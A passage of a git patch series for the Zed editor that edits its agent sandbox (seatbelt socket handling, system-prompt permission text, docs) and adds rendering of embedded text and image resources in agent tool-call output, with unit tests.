-        assert!(rendered.contains("does not allow packet-sending network access"));
         assert!(rendered.contains("for the rest of the thread"));
     }
 
diff --git a/crates/agent/src/templates/system_prompt.hbs b/crates/agent/src/templates/system_prompt.hbs
index ef31bc0a3616b7..c615d0958fc219 100644
--- a/crates/agent/src/templates/system_prompt.hbs
+++ b/crates/agent/src/templates/system_prompt.hbs
@@ -199,7 +199,7 @@ You can request elevated permissions on individual `terminal` calls:
 - `allow_all_hosts: true` — lift the network restriction entirely: outbound access to any host over any protocol, so SSH, FTP, and raw sockets work too (unlike `allow_hosts`, which is HTTP/HTTPS-only). Use only when the specific hosts can't be enumerated up front.
 {{/if}}
 - `fs_write_paths: ["/abs/or/worktree-relative/path", ...]` — allow writes to specific paths (each directory grants its whole subtree). Prefer this whenever you know which paths the command needs to write.
-- `allow_git_access: true` — lift the default block on Git metadata, allowing reads and writes of file contents under `.git` directories (including worktree metadata that may live outside the project directories). Any command that touches `.git` needs this, including ones that invoke Git only incidentally (e.g. build scripts calling `git describe`/`git rev-parse`, or commit hooks). When approved, the inherited SSH agent socket also becomes reachable for SSH-based Git commit signing (local Unix-socket IPC only — it does not allow packet-sending network access); GPG commit signing via gpg-agent is not available in the sandbox.
+- `allow_git_access: true` — lift the default block on Git metadata, allowing reads and writes of file contents under `.git` directories (including worktree metadata that may live outside the project directories). Any command that touches `.git` needs this, including ones that invoke Git only incidentally (e.g. build scripts calling `git describe`/`git rev-parse`, or commit hooks).
 - `allow_fs_write_all: true` — allow unrestricted filesystem writes. Only use this when the specific paths can't be enumerated up front.
 - `unsandboxed: true` — run the command with no sandbox at all. Use only when none of the above suffice.
 
diff --git a/crates/sandbox/src/macos_seatbelt.rs b/crates/sandbox/src/macos_seatbelt.rs
index a5f15384f0b2a3..ec4605f19810d2 100644
--- a/crates/sandbox/src/macos_seatbelt.rs
+++ b/crates/sandbox/src/macos_seatbelt.rs
@@ -195,9 +195,8 @@ pub fn wrap_invocation(
 /// denied even when they would otherwise be readable or writable; file
 /// metadata remains readable. Unix domain socket paths in
 /// `allowed_unix_socket_paths` are reachable for local IPC even when IP
-/// network access is otherwise blocked; callers use this for trusted sockets
-/// inherited from the process environment, such as `SSH_AUTH_SOCK`. This does
-/// not permit sending packets to other machines.
+/// network access is otherwise blocked. This does not permit sending packets
+/// to other machines.
 ///
 /// Network access and unrestricted filesystem writes must be requested via
 /// [`SandboxPermissions`].
@@ -453,11 +452,11 @@ mod tests {
     #[test]
     fn test_generate_seatbelt_config_allows_unix_socket_paths_without_network() {
         let dir = PathBuf::from("/Users/test/projects/myproject");
-        let ssh_auth_socket = PathBuf::from("/private/tmp/com.apple.launchd.test/Listeners");
+        let socket_path = PathBuf::from("/private/tmp/com.example.test/Listeners");
         let config = generate_seatbelt_config(
             &[dir.as_path()],
             &[],
-            &[ssh_auth_socket.as_path()],
+            &[socket_path.as_path()],
             SandboxPermissions::default(),
         )
         .unwrap();
@@ -466,8 +465,8 @@ mod tests {
         assert!(config.contains("AF_UNIX"));
         assert!(config.contains("(allow network-outbound"));
         assert!(config.contains("remote unix-socket"));
-        assert!(config.contains("(literal \"/private/tmp/com.apple.launchd.test/Listeners\")"));
-        assert!(!config.contains("(subpath \"/private/tmp/com.apple.launchd.test/Listeners\")"));
+        assert!(config.contains("(literal \"/private/tmp/com.example.test/Listeners\")"));
+        assert!(!config.contains("(subpath \"/private/tmp/com.example.test/Listeners\")"));
         assert!(!config.contains("(allow network*)"));
     }
 
@@ -491,8 +490,6 @@ mod tests {
             .set_nonblocking(true)
             .expect("listener should switch to non-blocking");
 
-        // Allow both the path the command connects to and its canonical form,
-        // mirroring how the real caller resolves `SSH_AUTH_SOCK`.
         let canonical_socket_path = socket_path
             .canonicalize()
             .expect("bound socket path should canonicalize");
diff --git a/crates/sandbox/src/sandbox.rs b/crates/sandbox/src/sandbox.rs
index 9979715fd422be..c240e9416056ad 100644
--- a/crates/sandbox/src/sandbox.rs
+++ b/crates/sandbox/src/sandbox.rs
@@ -584,9 +584,6 @@ impl Sandbox {
             .collect();
         writable.extend(git_writable.iter().map(PathBuf::as_path));
         let protected: Vec<&Path> = git_protected.iter().map(PathBuf::as_path).collect();
-
-        // SSH-agent socket handling (commit signing) is deferred, so no unix
-        // sockets are allowed for now.
         let (program, args, config) = macos_seatbelt::wrap_invocation(
             &command.program,
             &command.args,
diff --git a/docs/src/ai/sandboxing.md b/docs/src/ai/sandboxing.md
index fe691b47a5ca49..f6028111542c43 100644
--- a/docs/src/ai/sandboxing.md
+++ b/docs/src/ai/sandboxing.md
@@ -112,7 +112,6 @@ Sandboxed terminal commands:
 When network access is approved on macOS, Zed uses an HTTP/HTTPS proxy so access can be limited to approved hosts.
 Tools that do not honor proxy environment variables, such as SSH, FTP, and raw socket clients, may not work even after host-specific network access is approved.
 For networked terminal commands, prefer HTTPS URLs over SSH URLs when possible.
-When Git metadata access is approved, Zed may also expose the inherited `SSH_AUTH_SOCK` Unix socket so workflows such as SSH commit signing can work without granting outbound network access.
 
 ### Linux {#linux}
 

From 2df74932bc6666e7a00e877d375dafb39a7a9273 Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Wed, 24 Jun 2026 17:25:44 +0200
Subject: [PATCH 082/772] acp: Support embedded resources in tool call content
 (#59821)

We weren't handling these really before, just rendering the URI. This
should provide best-effort support for what we can render.

<img width="800" height="359" alt="image"
src="https://github.com/user-attachments/assets/51f101c7-c3be-4801-9000-62000a71faa6"
/>

(I will remove the extra labels that was just for testing)

Release Notes:

- acp: Support embedded resources in tool calls.
---
 Cargo.lock                                    |   1 +
 Cargo.toml                                    |   1 +
 crates/acp_thread/Cargo.toml                  |   1 +
 crates/acp_thread/src/acp_thread.rs           | 474 +++++++++++++++++-
 .../conversation_view/thread_search_bar.rs    |   5 +
 .../src/conversation_view/thread_view.rs      | 158 +++---
 6 files changed, 552 insertions(+), 88 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 069a21006e7232..4e1f6c99023f3d 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -116,6 +116,7 @@ dependencies = [
  "language_model",
  "log",
  "markdown",
+ "mime",
  "multi_buffer",
  "parking_lot",
  "portable-pty",
diff --git a/Cargo.toml b/Cargo.toml
index 4fb73966008296..611ecf2a25857b 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -392,6 +392,7 @@ mermaid_render = { path = "crates/mermaid_render" }
 svg_preview = { path = "crates/svg_preview" }
 media = { path = "crates/media" }
 menu = { path = "crates/menu" }
+mime = "0.3.17"
 migrator = { path = "crates/migrator" }
 mistral = { path = "crates/mistral" }
 multi_buffer = { path = "crates/multi_buffer" }
diff --git a/crates/acp_thread/Cargo.toml b/crates/acp_thread/Cargo.toml
index d92fd6b1fec20c..3c4f592a554e79 100644
--- a/crates/acp_thread/Cargo.toml
+++ b/crates/acp_thread/Cargo.toml
@@ -35,6 +35,7 @@ language.workspace = true
 language_model.workspace = true
 log.workspace = true
 markdown.workspace = true
+mime.workspace = true
 parking_lot = { workspace = true, optional = true }
 image.workspace = true
 portable-pty.workspace = true
diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index cabdddfba19fb6..1efe43188b4338 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -957,6 +957,10 @@ pub enum ContentBlock {
     Markdown {
         markdown: Entity<Markdown>,
     },
+    EmbeddedResource {
+        resource: acp::EmbeddedResource,
+        markdown: Option<Entity<Markdown>>,
+    },
     ResourceLink {
         resource_link: acp::ResourceLink,
     },
@@ -991,6 +995,26 @@ impl ContentBlock {
         this
     }
 
+    pub fn new_tool_call_content(
+        block: acp::ContentBlock,
+        language_registry: &Arc<LanguageRegistry>,
+        path_style: PathStyle,
+        cx: &mut App,
+    ) -> Self {
+        match block {
+            acp::ContentBlock::Resource(resource) => {
+                if let Some((image, dimensions)) = Self::decode_embedded_resource_image(&resource) {
+                    Self::Image { image, dimensions }
+                } else {
+                    let markdown =
+                        Self::embedded_resource_markdown(&resource, language_registry, cx);
+                    Self::EmbeddedResource { resource, markdown }
+                }
+            }
+            block => Self::new(block, language_registry, path_style, cx),
+        }
+    }
+
     pub fn append(
         &mut self,
         block: acp::ContentBlock,
@@ -1026,6 +1050,13 @@ impl ContentBlock {
                 let combined = format!("{}\n{}", existing_content, new_content);
                 *self = Self::create_markdown_block(combined, language_registry, cx);
             }
+            (ContentBlock::EmbeddedResource { resource, .. }, _) => {
+                let existing_content =
+                    Self::embedded_resource_string_contents(resource, path_style);
+                let new_content = Self::block_string_contents(&block, path_style);
+                let combined = format!("{}\n{}", existing_content, new_content);
+                *self = Self::create_markdown_block(combined, language_registry, cx);
+            }
             (ContentBlock::Image { .. }, _) => {
                 let new_content = Self::block_string_contents(&block, path_style);
                 let combined = format!("`Image`\n{}", new_content);
@@ -1063,13 +1094,30 @@ impl ContentBlock {
 
     fn decode_image(
         image_content: &acp::ImageContent,
+    ) -> Option<(Arc<gpui::Image>, Option<gpui::Size<u32>>)> {
+        Self::decode_image_data(&image_content.data, &image_content.mime_type)
+    }
+
+    fn decode_embedded_resource_image(
+        resource: &acp::EmbeddedResource,
+    ) -> Option<(Arc<gpui::Image>, Option<gpui::Size<u32>>)> {
+        let acp::EmbeddedResourceResource::BlobResourceContents(blob) = &resource.resource else {
+            return None;
+        };
+        let mime_type = blob.mime_type.as_deref()?;
+        Self::decode_image_data(&blob.blob, mime_type)
+    }
+
+    fn decode_image_data(
+        data: &str,
+        mime_type: &str,
     ) -> Option<(Arc<gpui::Image>, Option<gpui::Size<u32>>)> {
         use base64::Engine as _;
 
         let bytes = base64::engine::general_purpose::STANDARD
-            .decode(image_content.data.as_bytes())
+            .decode(data.as_bytes())
             .ok()?;
-        let format = gpui::ImageFormat::from_mime_type(&image_content.mime_type)?;
+        let format = gpui::ImageFormat::from_mime_type(mime_type)?;
         let dimensions = Self::image_dimensions(&bytes, format);
         Some((Arc::new(gpui::Image::from_bytes(format, bytes)), dimensions))
     }
@@ -1099,19 +1147,141 @@ impl ContentBlock {
         cx: &mut App,
     ) -> ContentBlock {
         ContentBlock::Markdown {
-            markdown: cx.new(|cx| {
-                Markdown::new_with_options(
-                    content.into(),
-                    Some(language_registry.clone()),
-                    None,
-                    MarkdownOptions {
-                        render_mermaid_diagrams: true,
-                        render_metadata_blocks: true,
-                        ..Default::default()
-                    },
-                    cx,
-                )
-            }),
+            markdown: Self::create_markdown(content, language_registry, cx),
+        }
+    }
+
+    fn create_markdown(
+        content: String,
+        language_registry: &Arc<LanguageRegistry>,
+        cx: &mut App,
+    ) -> Entity<Markdown> {
+        cx.new(|cx| {
+            Markdown::new_with_options(
+                content.into(),
+                Some(language_registry.clone()),
+                None,
+                MarkdownOptions {
+                    render_mermaid_diagrams: true,
+                    render_metadata_blocks: true,
+                    ..Default::default()
+                },
+                cx,
+            )
+        })
+    }
+
+    fn embedded_resource_markdown(
+        resource: &acp::EmbeddedResource,
+        language_registry: &Arc<LanguageRegistry>,
+        cx: &mut App,
+    ) -> Option<Entity<Markdown>> {
+        match &resource.resource {
+            acp::EmbeddedResourceResource::TextResourceContents(text) => Some(
+                Self::create_markdown(Self::text_resource_markdown(text), language_registry, cx),
+            ),
+            acp::EmbeddedResourceResource::BlobResourceContents(_) => None,
+            _ => None,
+        }
+    }
+
+    fn text_resource_markdown(resource: &acp::TextResourceContents) -> String {
+        match text_resource_render_mode(resource.mime_type.as_deref()) {
+            TextResourceRenderMode::Markdown => resource.text.clone(),
+            TextResourceRenderMode::CodeBlock(language) => {
+                Self::fenced_code_block(&resource.text, language)
+            }
+        }
+    }
+
+    pub fn text_content<'a>(&'a self, cx: &'a App) -> Option<&'a str> {
+        match self {
+            ContentBlock::Markdown { markdown } => Some(markdown.read(cx).source()),
+            ContentBlock::EmbeddedResource { resource, .. } => match &resource.resource {
+                acp::EmbeddedResourceResource::TextResourceContents(text) => Some(&text.text),
+                acp::EmbeddedResourceResource::BlobResourceContents(_) => None,
+                _ => None,
+            },
+            ContentBlock::Empty
+            | ContentBlock::ResourceLink { .. }
+            | ContentBlock::Image { .. } => None,
+        }
+    }
+
+    fn fenced_code_block(text: &str, language: Option<&str>) -> String {
+        let fence_len = text
+            .as_bytes()
+            .chunk_by(|left, right| left == right)
+            .filter(|chunk| chunk.first() == Some(&b'`'))
+            .map(|chunk| chunk.len() + 1)
+            .max()
+            .unwrap_or(3)
+            .max(3);
+        let fence = "`".repeat(fence_len);
+
+        let mut markdown = String::new();
+        markdown.push_str(&fence);
+        if let Some(language) = language {
+            markdown.push_str(language);
+        }
+        markdown.push('\n');
+        markdown.push_str(text);
+        if !text.ends_with('\n') {
+            markdown.push('\n');
+        }
+        markdown.push_str(&fence);
+        markdown
+    }
+
+    fn embedded_resource_string_contents(
+        resource: &acp::EmbeddedResource,
+        path_style: PathStyle,
+    ) -> String {
+        match &resource.resource {
+            acp::EmbeddedResourceResource::TextResourceContents(text) => {
+                Self::resource_link_md(&text.uri, path_style)
+            }
+            acp::EmbeddedResourceResource::BlobResourceContents(blob) => {
+                Self::resource_link_md(&blob.uri, path_style)
+            }
+            _ => String::new(),
+        }
+    }
+
+    fn embedded_resource_text(resource: &acp::EmbeddedResource) -> &str {
+        match &resource.resource {
+            acp::EmbeddedResourceResource::TextResourceContents(text) => &text.text,
+            acp::EmbeddedResourceResource::BlobResourceContents(blob) => &blob.uri,
+            _ => "",
+        }
+    }
+
+    fn embedded_resource_label(resource: &acp::EmbeddedResource) -> &str {
+        match &resource.resource {
+            acp::EmbeddedResourceResource::TextResourceContents(text) => &text.uri,
+            acp::EmbeddedResourceResource::BlobResourceContents(blob) => &blob.uri,
+            _ => "",
+        }
+    }
+
+    pub fn embedded_resource(&self) -> Option<(&acp::EmbeddedResource, Option<&Entity<Markdown>>)> {
+        match self {
+            ContentBlock::EmbeddedResource { resource, markdown } => {
+                Some((resource, markdown.as_ref()))
+            }
+            _ => None,
+        }
+    }
+
+    pub fn visible_content(&self, cx: &App) -> bool {
+        match self {
+            ContentBlock::Empty => false,
+            ContentBlock::Markdown { markdown } => !markdown.read(cx).source().trim().is_empty(),
+            ContentBlock::EmbeddedResource { resource, markdown } => match markdown {
+                Some(markdown) => !markdown.read(cx).source().trim().is_empty(),
+                None => !Self::embedded_resource_text(resource).trim().is_empty(),
+            },
+            ContentBlock::ResourceLink { .. } | ContentBlock::Image { .. } => true,
         }
     }
 
@@ -1150,6 +1320,13 @@ impl ContentBlock {
         match self {
             ContentBlock::Empty => "",
             ContentBlock::Markdown { markdown } => markdown.read(cx).source(),
+            ContentBlock::EmbeddedResource { resource, markdown } => {
+                if let Some(markdown) = markdown {
+                    markdown.read(cx).source()
+                } else {
+                    Self::embedded_resource_label(resource)
+                }
+            }
             ContentBlock::ResourceLink { resource_link } => &resource_link.uri,
             ContentBlock::Image { .. } => "`Image`",
         }
@@ -1159,6 +1336,7 @@ impl ContentBlock {
         match self {
             ContentBlock::Empty => None,
             ContentBlock::Markdown { markdown } => Some(markdown),
+            ContentBlock::EmbeddedResource { markdown, .. } => markdown.as_ref(),
             ContentBlock::ResourceLink { .. } => None,
             ContentBlock::Image { .. } => None,
         }
@@ -1179,6 +1357,61 @@ impl ContentBlock {
     }
 }
 
+enum TextResourceRenderMode {
+    Markdown,
+    CodeBlock(Option<&'static str>),
+}
+
+fn text_resource_render_mode(mime_type: Option<&str>) -> TextResourceRenderMode {
+    let Some(mime_type) = mime_type else {
+        return TextResourceRenderMode::CodeBlock(None);
+    };
+    let Ok(mime) = mime_type.parse::<mime::Mime>() else {
+        return TextResourceRenderMode::CodeBlock(None);
+    };
+
+    let type_ = mime.type_().as_str();
+    let subtype = mime.subtype().as_str();
+    let suffix = mime.suffix().map(|suffix| suffix.as_str());
+
+    if matches!(
+        (type_, subtype),
+        ("text", "markdown") | ("text", "x-markdown")
+    ) {
+        return TextResourceRenderMode::Markdown;
+    }
+
+    let language = match (type_, subtype, suffix) {
+        (_, "json", _) | (_, _, Some("json")) => Some("json"),
+        (_, "xml", _) | (_, _, Some("xml")) => Some("xml"),
+        ("text", "html", _) => Some("html"),
+        ("text", "css", _) => Some("css"),
+        ("text", "csv", _) => Some("csv"),
+        ("text", "tab-separated-values", _) => Some("tsv"),
+        ("text", "javascript", _) | ("application", "javascript", _) => Some("javascript"),
+        ("application", "x-javascript", _) => Some("javascript"),
+        ("text", "typescript", _) | ("application", "typescript", _) => Some("typescript"),
+        ("text", "x-shellscript", _) | ("application", "x-shellscript", _) => Some("sh"),
+        ("application", "x-sh", _) => Some("sh"),
+        ("text", "x-python", _) => Some("python"),
+        ("text", "x-rust", _) => Some("rust"),
+        ("text", "x-go", _) => Some("go"),
+        ("text", "x-ruby", _) => Some("ruby"),
+        ("text", "x-c", _) => Some("c"),
+        // `mime` parses `text/x-c++` as subtype `x-c+` with an empty suffix.
+        ("text", "x-c+", Some("")) => Some("cpp"),
+        ("text", "plain", _) => None,
+        ("text", _, _) => None,
+        ("application", "graphql", _) => Some("graphql"),
+        ("application", "toml", _) => Some("toml"),
+        ("application", "yaml", _) | ("application", "x-yaml", _) => Some("yaml"),
+        (_, _, Some("yaml" | "yml")) => Some("yaml"),
+        _ => return TextResourceRenderMode::CodeBlock(None),
+    };
+
+    TextResourceRenderMode::CodeBlock(language)
+}
+
 #[derive(Debug)]
 pub enum ToolCallContent {
     ContentBlock(ContentBlock),
@@ -1195,14 +1428,14 @@ impl ToolCallContent {
         cx: &mut App,
     ) -> Result<Option<Self>> {
         match content {
-            acp::ToolCallContent::Content(acp::Content { content, .. }) => {
-                Ok(Some(Self::ContentBlock(ContentBlock::new(
+            acp::ToolCallContent::Content(acp::Content { content, .. }) => Ok(Some(
+                Self::ContentBlock(ContentBlock::new_tool_call_content(
                     content,
                     &language_registry,
                     path_style,
                     cx,
-                ))))
-            }
+                )),
+            )),
             acp::ToolCallContent::Diff(diff) => Ok(Some(Self::Diff(cx.new(|cx| {
                 Diff::finalized(
                     diff.path.to_string_lossy().into_owned(),
@@ -3858,6 +4091,206 @@ mod tests {
         });
     }
 
+    #[test]
+    fn text_resource_markdown_uses_mime_type_for_code_blocks() {
+        let shell = acp::TextResourceContents::new("echo 'hello from exec test'", "tool://preview")
+            .mime_type("text/x-shellscript".to_string());
+        assert_eq!(
+            ContentBlock::text_resource_markdown(&shell),
+            "```sh\necho 'hello from exec test'\n```"
+        );
+
+        let markdown = acp::TextResourceContents::new("**approval** requested", "tool://preview")
+            .mime_type("text/markdown".to_string());
+        assert_eq!(
+            ContentBlock::text_resource_markdown(&markdown),
+            "**approval** requested"
+        );
+
+        let plain = acp::TextResourceContents::new("plain preview", "tool://preview")
+            .mime_type("text/plain".to_string());
+        assert_eq!(
+            ContentBlock::text_resource_markdown(&plain),
+            "```\nplain preview\n```"
+        );
+
+        let cpp = acp::TextResourceContents::new("int main() {}", "tool://preview")
+            .mime_type("text/x-c++; charset=utf-8".to_string());
+        assert_eq!(
+            ContentBlock::text_resource_markdown(&cpp),
+            "```cpp\nint main() {}\n```"
+        );
+
+        let untyped = acp::TextResourceContents::new("# plain preview", "tool://preview");
+        assert_eq!(
+            ContentBlock::text_resource_markdown(&untyped),
+            "```\n# plain preview\n```"
+        );
+    }
+
+    #[gpui::test]
+    async fn test_tool_call_content_preserves_embedded_text_resource(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx);
+
+        cx.update(|cx| {
+            let language_registry =
+                Arc::new(LanguageRegistry::test(cx.background_executor().clone()));
+            let content = acp::ContentBlock::Resource(acp::EmbeddedResource::new(
+                acp::EmbeddedResourceResource::TextResourceContents(
+                    acp::TextResourceContents::new("echo 'hello from exec test'", "tool://preview")
+                        .mime_type("text/x-shellscript".to_string()),
+                ),
+            ));
+
+            let block = ContentBlock::new_tool_call_content(
+                content,
+                &language_registry,
+                PathStyle::local(),
+                cx,
+            );
+
+            let ContentBlock::EmbeddedResource { resource, markdown } = &block else {
+                panic!("expected embedded resource block, got {block:?}");
+            };
+            match &resource.resource {
+                acp::EmbeddedResourceResource::TextResourceContents(text) => {
+                    assert_eq!(text.text, "echo 'hello from exec test'");
+                    assert_eq!(text.uri, "tool://preview");
+                    assert_eq!(text.mime_type.as_deref(), Some("text/x-shellscript"));
+                }
+                other => panic!("expected text resource contents, got {other:?}"),
+            }
+
+            let markdown = markdown
+                .as_ref()
+                .expect("text resources should have renderable markdown")
+                .read(cx)
+                .source()
+                .to_string();
+            assert_eq!(markdown, "```sh\necho 'hello from exec test'\n```");
+            assert_eq!(
+                block.to_markdown(cx),
+                "```sh\necho 'hello from exec test'\n```"
+            );
+            assert_eq!(block.text_content(cx), Some("echo 'hello from exec test'"));
+
+            let untyped = ContentBlock::new_tool_call_content(
+                acp::ContentBlock::Resource(acp::EmbeddedResource::new(
+                    acp::EmbeddedResourceResource::TextResourceContents(
+                        acp::TextResourceContents::new("# plain preview", "tool://preview"),
+                    ),
+                )),
+                &language_registry,
+                PathStyle::local(),
+                cx,
+            );
+            assert_eq!(untyped.to_markdown(cx), "```\n# plain preview\n```");
+            assert_eq!(untyped.text_content(cx), Some("# plain preview"));
+        });
+    }
+
+    #[gpui::test]
+    async fn test_tool_call_content_renders_embedded_image_blob_resource(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx);
+
+        cx.update(|cx| {
+            let language_registry =
+                Arc::new(LanguageRegistry::test(cx.background_executor().clone()));
+            let image_blob = acp::ContentBlock::Resource(acp::EmbeddedResource::new(
+                acp::EmbeddedResourceResource::BlobResourceContents(
+                    acp::BlobResourceContents::new(
+                        "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==",
+                        "tool://preview.png",
+                    )
+                    .mime_type("image/png".to_string()),
+                ),
+            ));
+
+            let block = ContentBlock::new_tool_call_content(
+                image_blob,
+                &language_registry,
+                PathStyle::local(),
+                cx,
+            );
+
+            let ContentBlock::Image { image, dimensions } = &block else {
+                panic!("expected image block, got {block:?}");
+            };
+            assert_eq!(image.format(), gpui::ImageFormat::Png);
+            assert_eq!(
+                dimensions.as_ref().map(|size| (size.width, size.height)),
+                Some((1, 1))
+            );
+            assert_eq!(block.to_markdown(cx), "`Image`");
+            assert_eq!(block.text_content(cx), None);
+        });
+    }
+
+    #[gpui::test]
+    async fn test_tool_call_content_falls_back_for_non_image_blob_resource(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        init_test(cx);
+
+        cx.update(|cx| {
+            let language_registry =
+                Arc::new(LanguageRegistry::test(cx.background_executor().clone()));
+            let archive_blob = acp::ContentBlock::Resource(acp::EmbeddedResource::new(
+                acp::EmbeddedResourceResource::BlobResourceContents(
+                    acp::BlobResourceContents::new("not an image", "tool://archive.bin")
+                        .mime_type("application/octet-stream".to_string()),
+                ),
+            ));
+
+            let block = ContentBlock::new_tool_call_content(
+                archive_blob,
+                &language_registry,
+                PathStyle::local(),
+                cx,
+            );
+
+            let ContentBlock::EmbeddedResource { resource, markdown } = &block else {
+                panic!("expected embedded resource block, got {block:?}");
+            };
+            assert!(markdown.is_none());
+            match &resource.resource {
+                acp::EmbeddedResourceResource::BlobResourceContents(blob) => {
+                    assert_eq!(blob.uri, "tool://archive.bin");
+                    assert_eq!(blob.mime_type.as_deref(), Some("application/octet-stream"));
+                }
+                other => panic!("expected blob resource contents, got {other:?}"),
+            }
+            assert_eq!(block.to_markdown(cx), "tool://archive.bin");
+            assert_eq!(block.text_content(cx), None);
+
+            let invalid_image_blob = acp::ContentBlock::Resource(acp::EmbeddedResource::new(
+                acp::EmbeddedResourceResource::BlobResourceContents(
+                    acp::BlobResourceContents::new("not-base64", "tool://preview.png")
+                        .mime_type("image/png".to_string()),
+                ),
+            ));
+            let invalid = ContentBlock::new_tool_call_content(
+                invalid_image_blob,
+                &language_registry,
+                PathStyle::local(),
+                cx,
+            );
+            let ContentBlock::EmbeddedResource { resource, markdown } = &invalid else {
+                panic!("expected embedded resource block, got {invalid:?}");
+            };
+            assert!(markdown.is_none());
+            assert_eq!(
+                ContentBlock::embedded_resource_label(resource),
+                "tool://preview.png"
+            );
+            assert_eq!(invalid.to_markdown(cx), "tool://preview.png");
+        });
+    }
+
     #[test]
     fn sandbox_authorization_details_deserialize_legacy_network_bool() {
         // Older builds persisted `network: bool`; the `alias` on
@@ -6100,6 +6533,9 @@ mod tests {
                         ContentBlock::ResourceLink { .. } => {
                             panic!("Expected markdown content, got resource link")
                         }
+                        ContentBlock::EmbeddedResource { .. } => {
+                            panic!("Expected markdown content, got embedded resource")
+                        }
                         ContentBlock::Image { .. } => {
                             panic!("Expected markdown content, got image")
                         }
diff --git a/crates/agent_ui/src/conversation_view/thread_search_bar.rs b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
index 80925e4b793e39..6563046ca1d18e 100644
--- a/crates/agent_ui/src/conversation_view/thread_search_bar.rs
+++ b/crates/agent_ui/src/conversation_view/thread_search_bar.rs
@@ -920,8 +920,13 @@ fn collect_markdowns(
                             ToolCallContent::ContentBlock(ContentBlock::Markdown { markdown }) => {
                                 Some(markdown.clone())
                             }
+                            ToolCallContent::ContentBlock(ContentBlock::EmbeddedResource {
+                                markdown: Some(markdown),
+                                ..
+                            }) => Some(markdown.clone()),
                             ToolCallContent::ContentBlock(
                                 ContentBlock::Empty
+                                | ContentBlock::EmbeddedResource { markdown: None, .. }
                                 | ContentBlock::ResourceLink { .. }
                                 | ContentBlock::Image { .. },
                             )
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 1a0137e001d54a..553519fb34c80a 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -9,7 +9,7 @@ use agent_client_protocol::schema::v1 as acp;
 use std::cell::RefCell;
 
 use acp_thread::{
-    ContentBlock, PlanEntry, SandboxAuthorizationDetails, SandboxFallbackAuthorizationDetails,
+    PlanEntry, SandboxAuthorizationDetails, SandboxFallbackAuthorizationDetails,
     SandboxNotAppliedReason,
 };
 use agent::{
@@ -6179,15 +6179,7 @@ impl ThreadView {
                 if matches!(tool_call.status, ToolCallStatus::Canceled) {
                     let has_visible_content =
                         tool_call.content.iter().any(|content| match content {
-                            ToolCallContent::ContentBlock(block) => match block {
-                                ContentBlock::Empty => false,
-                                ContentBlock::Markdown { markdown } => {
-                                    !markdown.read(cx).source().trim().is_empty()
-                                }
-                                ContentBlock::ResourceLink { .. } | ContentBlock::Image { .. } => {
-                                    true
-                                }
-                            },
+                            ToolCallContent::ContentBlock(block) => block.visible_content(cx),
                             ToolCallContent::Diff(_) | ToolCallContent::Terminal(_) => true,
                         });
                     if !has_visible_content {
@@ -9527,7 +9519,18 @@ impl ThreadView {
     ) -> AnyElement {
         match content {
             ToolCallContent::ContentBlock(content) => {
-                if let Some(resource_link) = content.resource_link() {
+                if let Some((resource, markdown)) = content.embedded_resource() {
+                    self.render_embedded_resource_output(
+                        resource,
+                        markdown.cloned(),
+                        entry_ix,
+                        context_ix,
+                        tool_call,
+                        card_layout,
+                        window,
+                        cx,
+                    )
+                } else if let Some(resource_link) = content.resource_link() {
                     self.render_resource_link(resource_link, cx)
                 } else if let Some(markdown) = content.markdown() {
                     self.render_markdown_output(
@@ -9539,16 +9542,9 @@ impl ThreadView {
                         window,
                         cx,
                     )
-                } else if let Some((image, dimensions)) = content.image() {
+                } else if let Some((image, _)) = content.image() {
                     let location = tool_call.locations.first().cloned();
-                    self.render_image_output(
-                        entry_ix,
-                        image.clone(),
-                        dimensions,
-                        location,
-                        card_layout,
-                        cx,
-                    )
+                    self.render_image_output(entry_ix, image.clone(), location, card_layout, cx)
                 } else {
                     Empty.into_any_element()
                 }
@@ -9569,6 +9565,60 @@ impl ThreadView {
         }
     }
 
+    fn render_embedded_resource_output(
+        &self,
+        resource: &acp::EmbeddedResource,
+        markdown: Option<Entity<Markdown>>,
+        entry_ix: usize,
+        context_ix: usize,
+        tool_call: &ToolCall,
+        card_layout: bool,
+        window: &Window,
+        cx: &Context<Self>,
+    ) -> AnyElement {
+        if let Some(markdown) = markdown {
+            return self.render_markdown_output(
+                markdown,
+                entry_ix,
+                context_ix,
+                tool_call,
+                card_layout,
+                window,
+                cx,
+            );
+        }
+
+        let uri = match &resource.resource {
+            acp::EmbeddedResourceResource::BlobResourceContents(blob) => blob.uri.as_str(),
+            acp::EmbeddedResourceResource::TextResourceContents(text) => text.uri.as_str(),
+            _ => "",
+        };
+
+        v_flex()
+            .gap_1()
+            .map(|this| {
+                if card_layout {
+                    this.p_2().when(context_ix > 0, |this| {
+                        this.border_t_1()
+                            .border_color(self.tool_card_border_color(cx))
+                    })
+                } else {
+                    this.ml(rems(0.4))
+                        .px_3p5()
+                        .border_l_1()
+                        .border_color(self.tool_card_border_color(cx))
+                }
+            })
+            .when(!uri.is_empty(), |this| {
+                this.child(
+                    Label::new(uri.to_string())
+                        .size(LabelSize::XSmall)
+                        .color(Color::Muted),
+                )
+            })
+            .into_any_element()
+    }
+
     fn render_resource_link(
         &self,
         resource_link: &acp::ResourceLink,
@@ -9762,28 +9812,10 @@ impl ThreadView {
         &self,
         entry_ix: usize,
         image: Arc<gpui::Image>,
-        dimensions: Option<gpui::Size<u32>>,
         location: Option<acp::ToolCallLocation>,
         card_layout: bool,
         cx: &Context<Self>,
     ) -> AnyElement {
-        let format_name = match image.format() {
-            gpui::ImageFormat::Png => "PNG",
-            gpui::ImageFormat::Jpeg => "JPEG",
-            gpui::ImageFormat::Webp => "WebP",
